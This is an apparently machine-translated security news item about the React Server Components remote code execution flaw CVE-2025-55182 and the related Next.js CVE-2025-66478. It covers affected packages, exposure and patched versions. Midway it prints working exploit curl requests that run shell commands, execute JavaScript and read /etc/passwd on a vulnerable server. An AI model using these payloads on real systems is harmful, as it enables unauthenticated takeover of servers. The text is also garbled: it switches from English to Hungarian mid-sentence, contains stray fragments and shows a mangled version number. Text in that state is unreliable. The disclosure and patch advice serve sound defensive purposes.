A React web framework server component (RSC, React Server Components) vulnerability (CVE-2025-55182) has been fixed, which allowed arbitrary code execution on the server through a request to the server handler. The vulnerability has been assigned a critical severity level (10 out of 10). It manifests in experimental components react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack, used for executing functions and rendering interface elements on the server instead of on the client side.
The issue is caused by unsafe deserialization of data received in HTTP requests to server handlers. The handlers 'vm#runInThisContext', 'vm#runInNewContext', 'child_process#execFileSync', and 'child_process#execSync' can be used to run commands on the system or execute JavaScript code in the context of the current process (bypassing sandbox isolation). It is also possible to use the handlers 'fs#readFileSync' and 'fs#writeFileSync' to read and write arbitrary files based on current access rights. szerverenNo authentication is required for the attack. An exploit prototype is available. # Running the whoami command curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}' # Executing JavaScript code 1+1 curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}' # Reading file /etc/passwd curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
The susceptibility of systems to vulnerabilities depends on the use of vulnerable server components react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. Applications not using react-server are not affected by the vulnerability. The extent of vulnerability coverage in operational systems using React is still unclear. On one hand, React is one of the most popular web frameworks (used on about 6% of websites), and the vulnerable components are mainly developed in the main repository and are included in releases. Vulnerable components are also supported in React-based frameworks like Next.js and react-router. According to Wiz Research, vulnerable instances have been identified in 39% of analyzed cloud environments.
On the other hand, content generation on the server through React Server A komponensek ritkán használt funkció (a legtöbb React-weboldal csak az ügyfél oldalán rajzolja ki a felhasználói felületet), és a sérülékeny komponensek kísérleti jelöléssel vannak ellátva, nem garantálva a helyes működést. Ezeknek a komponenseknek viszonylag alacsony közvetlen letöltésszáma van az NPM tárolóból: react-server-dom-webpack — 670 ezer hetente, react-server-dom-parcel — 7 ezer és react-server-dom-turbopack — 32 ezer, összehasonlításként a React NPM csomag hétente 45 millió letöltést produkál.
A sérülékenység a React 9.0.0, 19.1.0, 19.1.1 és 19.2.0 verzióiban van jelen, és a React 19.0.1, 19.1.2 és 19.2.1 frissítésekben lett javítva. A sérülékeny komponenseket a Next.js csomagokban (heti 16 millió letöltés), a react-router (heti 20 millió letöltés), a waku, @parcel/rsc, @vitejs/plugin-rsc és rwsdk is használja.
A Next.js keretrendszerben a sérülékenység (CVE-2025-66478) az App Router-t használó alkalmazásokat érinti, amelyek a Next.js 15.x és 16.x ágakat használják. Állítólag a sérülékenység a Next.js alapértelmezett konfigurációjában jelentkezik (a create-next-app eszközzel létrehozott alapértelmezett alkalmazás támadható). A felhasználóknak javasolt, hogy a lehető leghamarabb telepítsék a Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 vagy 16.0.7 frissítéseit.
Forrás: opennet.ru
